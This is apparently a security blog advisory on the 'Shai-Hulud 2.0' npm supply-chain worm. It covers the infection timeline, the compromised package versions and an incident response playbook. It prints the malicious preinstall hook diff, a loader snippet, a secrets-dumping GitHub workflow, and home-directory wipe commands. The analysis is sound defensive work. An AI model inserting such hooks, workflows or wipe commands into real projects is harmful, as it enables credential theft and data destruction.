cybersecurityNodejssupply-chainmalware

Shai-Hulud 2.0 Awakens: NPM Worm Escalates from September's 18-Package Chaos

The Worm Returns: A Supply Chain Nightmare

On November 24, 2025, security researchers at HelixGuard detected a coordinated attack that would become one of the most sophisticated npm supply chain compromises ever recorded. Within just a few hours, over 1,000 npm packages were poisoned and more than 27,000 GitHub repositories were infected.

The attacker's calling card? A GitHub Action runner named SHA1HULUD and repository descriptions reading "Sha1-Hulud: The Second Coming"—a clear callback to September 2025's original Shai-Hulud attack.

Infected GitHub repositories with Sha1-Hulud description

From September's Seeds to November's Storm

Back in September 2025, the JavaScript ecosystem was shaken by a supply-chain attack compromising 18 critical npm packages including chalk, debug, and ansi-styles—collectively boasting 2.6 billion weekly downloads. Attackers phished maintainer accounts via fake "npmjs.help" domains, injecting crypto-wallet drainers that lived for just 2 hours before community detection.

What started as a "one-off" incident ballooned into the Shai-Hulud worm discovery—a self-replicating threat spreading across 500+ packages via bundle.js payloads, scanning for secrets with TruffleHog and exfiltrating to GitHub repositories.

November 24th marked the evolution. Shai-Hulud 2.0 struck with surgical precision: patient zero hitting AsyncAPI's CLI repo at 3:16 AM GMT, then cascading to 1,000+ unique packages across major organizations including Zapier, ENS Domains, PostHog, Postman, Voiceflow, and dozens more.


How The Attack Works

Shai-Hulud 2.0 weaponizes preinstall hooks in package.json to drop two malicious files. Taking the @asyncapi/specs component as an example, comparing the poisoned version with the clean GitHub repository reveals the injection method:

diff --git a/package.json b/package.json
index v6.8.1..v6.8.2 100644
--- a/package.json
+++ b/package.json
@@ -1,10 +1,11 @@
 {
   "name": "@asyncapi/specs",
-  "version": "6.8.1",
+  "version": "6.8.2",
   "description": "AsyncAPI schema versions",
   "main": "index.js",
   "types": "index.d.ts",
   "scripts": {
+    "preinstall": "node setup_bun.js",
     "test": "npm run build && vitest run && npm run validate:schemas",

The Two-Stage Payload

Stage 1: setup_bun.js - Mimics legitimate Bun setup code while silently invoking the malicious payload:

const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
  runExecutable(bunExecutable, [environmentScript]);
} else {
  process.exit(0);
}

Stage 2: bun_environment.js - A heavily obfuscated 10MB+ JavaScript file executed via the Bun runtime (not Node.js) to evade traditional scanners. Its capabilities include:

  • Cloud Credential Harvesting: Scans AWS IMDSv2 across 17 regions, GCP ADC, Azure Instance Metadata/Pod Identity
  • Secrets Manager Queries: AWS Secrets Manager, Parameter Store, GCP Secret Manager, Azure Key Vault
  • Local Secret Scanning: Deploys TruffleHog to crawl $HOME for .env files, .aws/credentials, GitHub tokens, and environment variables
  • Data Exfiltration: Uploads stolen secrets to randomly-named GitHub repositories

Destructive Fallback

If GitHub/NPM authentication fails, the malware wipes the user's home directory:

  • Unix/Linux: shred -uvz *
  • Windows: del /F /Q /S %USERPROFILE%\*

Self-Propagation: The Worm's Edge

Unlike September's manual compromises, Shai-Hulud 2.0 automates its spread. Once executed, the malware:

  1. Reads stolen npm tokens from the environment
  2. Modifies package.json of other packages the maintainer owns
  3. Injects setup_bun.js and bun_environment.js into those packages
  4. Repacks and executes npm publish using the stolen credentials

This worm-like behavior explains the rapid infection timeline:

Time (GMT)TargetPackages Infected
3:16 AMAsyncAPI CLI36 packages
4:11 AMPostHog15+ packages
5:09 AMPostman20+ packages
Hours laterZapier, ENS Domains20+ packages

GitHub Actions as Command & Control

Beyond credential theft, Shai-Hulud 2.0 establishes persistent backdoors by injecting malicious GitHub workflows:

# .github/workflows/formatter_123456789.yml
name: Code Formatter
on:
  discussion:
    types: [created, edited]
jobs:
  format:
    runs-on: self-hosted
    steps:
      - name: Format Code
        run: echo "${{ toJSON(secrets) }}" | base64

The malware creates self-hosted runners named SHA1HULUD that poll GitHub Discussions for base64-encoded commands—enabling full remote code execution on victim repositories.

Stolen secrets exfiltrated via GitHub Actions

Decoded stolen secrets reveal the extent of the breach:

[
  {
    "EC2_SSH_KEY": "...",
    "github_token": "...",
    "AWS_SECRET_ACCESS_KEY": "...",
    "SLACK_WEBHOOK_URL": "...",
    "CODECOV_TOKEN": "..."
  },
  {
    "github_token": "...",
    "FIREBASE_TOKEN": "...",
    "EXPO_TOKEN": "..."
  }
]

High-Profile Compromised Packages

Revert these immediately if present in your dependency tree:

Zapier

  • @zapier/zapier-sdk - versions 0.15.5 to 0.15.7
  • zapier-platform-core - versions 18.0.2 to 18.0.4
  • zapier-platform-cli - versions 18.0.2 to 18.0.4

ENS Domains

  • @ensdomains/ens-validation - version 0.1.1
  • @ensdomains/content-hash - version 3.0.1
  • ethereum-ens - version 0.8.1
  • @ensdomains/ensjs - version 4.0.3

AsyncAPI (36+ packages)

  • @asyncapi/cli - version 4.1.2
  • @asyncapi/specs - versions 6.8.2, 6.8.3, 6.9.1, 6.10.1
  • @asyncapi/generator - version 2.8.5
  • @asyncapi/parser - versions 3.4.1, 3.4.2

PostHog

  • posthog-node - versions 4.18.1, 5.11.3, 5.13.3
  • posthog-js - version 1.297.3
  • @posthog/cli - version 0.5.15

Postman

  • @postman/postman-collection-fork - versions 4.3.3 to 4.3.5
  • @postman/csv-parse - versions 4.0.3 to 4.0.5
  • @postman/postman-mcp-server - versions 2.4.10, 2.4.11

Voiceflow (50+ packages)

  • @voiceflow/common - versions 8.9.1, 8.9.2
  • @voiceflow/api-sdk - versions 3.28.58, 3.28.59
  • @voiceflow/react-chat - version 1.65.4

Other Notable Targets

  • @browserbasehq/stagehand - version 3.0.4
  • @oku-ui/primitives - version 0.7.9
  • mcp-use - versions 1.4.2, 1.4.3
  • silgi - version 0.43.30

Impact Comparison

MetricSeptember 2025November 2025 (2.0)
Packages Compromised18 → 500+1,000+ unique
Weekly Downloads2.6 billion132+ million monthly
Organizations HitMaintainers only150+ including enterprise
GitHub Repos Infected~1,00027,000+
Exfil MethodSingle repo dumpRandomized repos
Persistencebundle.jsBun runtime + GitHub runners
EvasionNoneBun execution bypasses Node.js scanners

Incident Response Playbook

1. Audit Your Dependencies

# Search for affected packages
npm ls | grep -iE 'zapier|ensdomains|asyncapi|posthog|postman|voiceflow|browserbase'

# Run security audit
npm audit

2. Hunt for Malicious Payloads

# Search for dropped files
find ~ -name "setup_bun.js" -o -name "bun_environment.js" -o -name "*.bun" 2>/dev/null

# Verify file hashes
sha256sum setup_bun.js
# Known malicious: a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a

3. Revert and Pin Versions

# Downgrade to pre-November 24 versions
npm install @asyncapi/specs@6.8.0

# Lock dependencies
npm ci --package-lock-only

4. GitHub Cleanup

# Search for malicious repos in your org
gh search repos --owner YOUR_ORG "Sha1-Hulud"

# Search for suspicious workflows
find .github/workflows -name "formatter_*.yml"

# Rotate ALL tokens
gh auth refresh --scopes all

5. Harden Your CI/CD

  • Disable preinstall and postinstall scripts in CI: npm ci --ignore-scripts
  • Implement SCA scanning with tools like Socket, Aikido, or Snyk
  • Enforce MFA and SSO on npm and GitHub accounts
  • Monitor for runners named SHA1HULUD

Key Takeaways

  1. Supply chain attacks are evolving - Attackers now use alternative runtimes (Bun) to evade Node.js-focused security tools

  2. Worm propagation is real - Stolen credentials enable automated infection of downstream packages

  3. GitHub Actions are attack surfaces - Self-hosted runners and discussion-based C2 channels are now weaponized

  4. Transitive dependencies matter - Even if you don't directly use these packages, they may be deep in your dependency tree

  5. Speed is critical - The entire attack wave completed in hours; real-time monitoring is essential


References


Stay vigilant. The npm ecosystem's trust model is under attack, and every npm install is a potential entry point.